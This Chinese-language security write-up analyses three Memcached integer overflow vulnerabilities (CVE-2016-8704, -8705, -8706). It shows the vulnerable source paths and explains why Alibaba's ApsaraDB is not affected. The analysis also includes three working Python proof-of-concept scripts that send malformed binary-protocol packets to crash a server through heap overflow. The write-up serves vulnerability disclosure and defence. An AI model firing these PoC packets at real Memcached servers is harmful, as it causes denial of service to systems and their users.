漏洞简介
Memcached是一个广泛使用的高速缓存系统,近期研究者发现小于1.4.33的版本存在3个整数溢出漏洞,通过这几个漏洞攻击者可以触发堆溢出导致crash。官方在11月1日发布了升级公告。漏洞作者已经提供了很详细的描述,在这里仅做简单的整理和验证。
后面验证了阿里云ApsaraDB for Memcache不受漏洞影响,并分析了原因。这个案例深刻告诉我们,对于用户输入,一定要做全面的检查。
漏洞分析
漏洞仅仅在binary时会触发。本质都是没有对用户输入的协议做严格全面的边界检查,导致在调用item.c
中的do_item_alloc()
函数时, 传入的参数nbytes是个负值,导致堆栈溢出。
item *do_item_alloc(char *key, const size_t nkey, const int flags,
const rel_time_t exptime, const int nbytes,
const uint32_t cur_hv) {
size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
}
ntotal大小的内存用来存放item、flags、key、value。当nbytes为负值,导致ntotal偏小,导致溢出。
CVE-2016-8704
当执行Append (opcode 0x0e), Prepend (opcode 0x0f), AppendQ (0x19), PrependQ (opcode 0x1a) 命令时会进入这样如下代码路径:
case PROTOCOL_BINARY_CMD_APPEND:
case PROTOCOL_BINARY_CMD_PREPEND:
if (keylen > 0 && extlen == 0) {
bin_read_key(c, bin_reading_set_header, 0);
} else {
protocol_error = 1;
}
break;
这里并仅检查了keylen和extlen的值,并没有检查bodylen。
complete_nread_binary()
后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,程序进入了process_bin_append_prepend()
函数中,
key = binary_get_key(c);
nkey = c->binary_header.request.keylen; //
vlen = c->binary_header.request.bodylen - nkey;
...
it = item_alloc(key, nkey, 0, 0, vlen+2);
这里keylen
做过合法性检查,bodylen
没有,所以itme_alloc()函数中
的参数中key
、nkey
可以保证合法性,但vlen
无法保证。
PoC代码:
# -*- coding: utf-8 -*-
import struct
import socket
import sys
MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_PREPEND_Q = "\x1a"
key_len = struct.pack("!H", 0xfa)
extra_len = "\x00"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I", 0)
opaque = struct.pack("!I", 0)
CAS = struct.pack("!Q", 0)
body = "A" * 1024
if len(sys.argv) != 3:
print "./poc_crash.py <server> <port>"
sys.exit(1)
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
set_packet = "set testkey 0 60 4\r\ntest\r\n"
get_packet = "get testkey\r\n"
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1], int(sys.argv[2])))
s1.sendall(set_packet)
print s1.recv(1024)
s1.close()
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1], int(sys.argv[2])))
s2.sendall(packet)
print s2.recv(1024)
s2.close()
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1], int(sys.argv[2])))
s3.sendall(get_packet)
s3.recv(1024)
s3.close()
当进入process_bin_append_prepend()
函数中,nkey 250、vlen -250, 调用item_alloc()
, 触发漏洞。
CVE-2016-8705
当进行Set (opcode 0x01),Add (opcode 0x02), Replace (opcode 0x03) ,SetQ (opcode 0x11), AddQ (opcode 0x12) ,ReplaceQ (opcode 0x13)作时会进入如下代码路径:
static void dispatch_bin_command(conn *c) {
int extlen = c->binary_header.request.extlen;
int keylen = c->binary_header.request.keylen;
uint32_t bodylen = c->binary_header.request.bodylen;
...
case PROTOCOL_BINARY_CMD_SET: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_ADD: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_REPLACE:
if (extlen == 8 && keylen != 0 && bodylen >= (keylen + 8)) {
bin_read_key(c, bin_reading_set_header, 8);
} else {
protocol_error = 1;
}
break;
}
在这里需满足bodylen >= (keylen + 8),这里要注意的是各变量类型,bodylen 为uint32_t。
complete_nread_binary()
后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,程序进入process_bin_update()
:
static void process_bin_update(conn *c) {
int nkey;
int vlen;
...
key = binary_get_key(c);
nkey = c->binary_header.request.keylen;
...
vlen = c->binary_header.request.bodylen - (nkey + c->binary_header.request.extlen);
...
it = item_alloc(key, nkey, req->message.body.flags,
realtime(req->message.body.expiration), vlen+2);
}
bodylen为无符号整形,在赋值给整形的vlen时会做类型转换,若bodylen过大, vlen 会变成一个负数,进而调用item_alloc()
触发漏洞。
PoC:
import struct
import socket
import sys
MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_ADD = "\x02"
key_len = struct.pack("!H", 0xfa)
extra_len = "\x08"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I", 0xffffffd0)
opaque = struct.pack("!I", 0)
CAS = struct.pack("!Q", 0)
extras_flags = 0xdeadbeef
extras_expiry = struct.pack("!I", 0xe10)
body = "A" * 1024
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
if len(sys.argv) != 3:
print "./poc_add.py <server> <port>"
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()
dispatch_bin_command()
中 keylen为250,bodylen为 4294967248,通过了检查。process_bin_update()
中 nkey为250,vlen 为 -306,调用item_alloc()
触发漏洞。
CVE-2016-8706
当进行 SASL_AUTH 操作,进入下面代码步骤:
static void dispatch_bin_command(conn *c) {
...
case PROTOCOL_BINARY_CMD_SASL_AUTH:
case PROTOCOL_BINARY_CMD_SASL_STEP:
if (extlen == 0 && keylen != 0) {
bin_read_key(c, bin_reading_sasl_auth, 0);
} else {
protocol_error = 1;
}
break;
...
}
这里只检查了extlen 和keylen,没有对bodylen进行检查。
complete_nread_binary()
后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,进入process_bin_sasl_auth()
函数:
static void process_bin_sasl_auth(conn *c) {
...
int nkey = c->binary_header.request.keylen;
int vlen = c->binary_header.request.bodylen - nkey;
...
item* it = item_alloc(key, nkey, 0, 0, vlen);
}
只要bodylen 小于keylen,vlen 变为负值。
PoC:
import struct
import socket
import sys
MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_SET = "\x21"
key_len = struct.pack("!H",32)
body_len = struct.pack("!I",1)
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len + body_len*2 + "A"*1000
if len(sys.argv) != 3:
print "./poc_sasl.py <server> <ip>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()
process_bin_sasl_auth()
中 nkey为32,vlen 为 -31,调用item_alloc()
触发漏洞。
阿里云ApsaraDB for Memcache(原名OCS) 验证分析
阿里云ApsaraDB for Memcache,底层不是用的官方Memcached,而且基于自研的Tair,兼容Memcached协议。对于用户输入的协议,做了严格的边界检查,避免了上述漏洞。相关部分伪代码如下:
int16_t extlen = c->binary_header.request.extlen;
int16_t keylen = c->binary_header.request.keylen;
int32_t bodylen = c->binary_header.request.bodylen;
if (boylen < 0 || bodylen > 2*1024*1024)
{
decode protocal error;
主动close 连接;
}
if (extlen < 0 || keylen < 0 || bodylen < keylen + extlen)
{
decode protocal error;
主动close 连接;
}
使用上述的PoC代码测试ApsaraDB for Memcache,对应连接会被server端直接close()掉。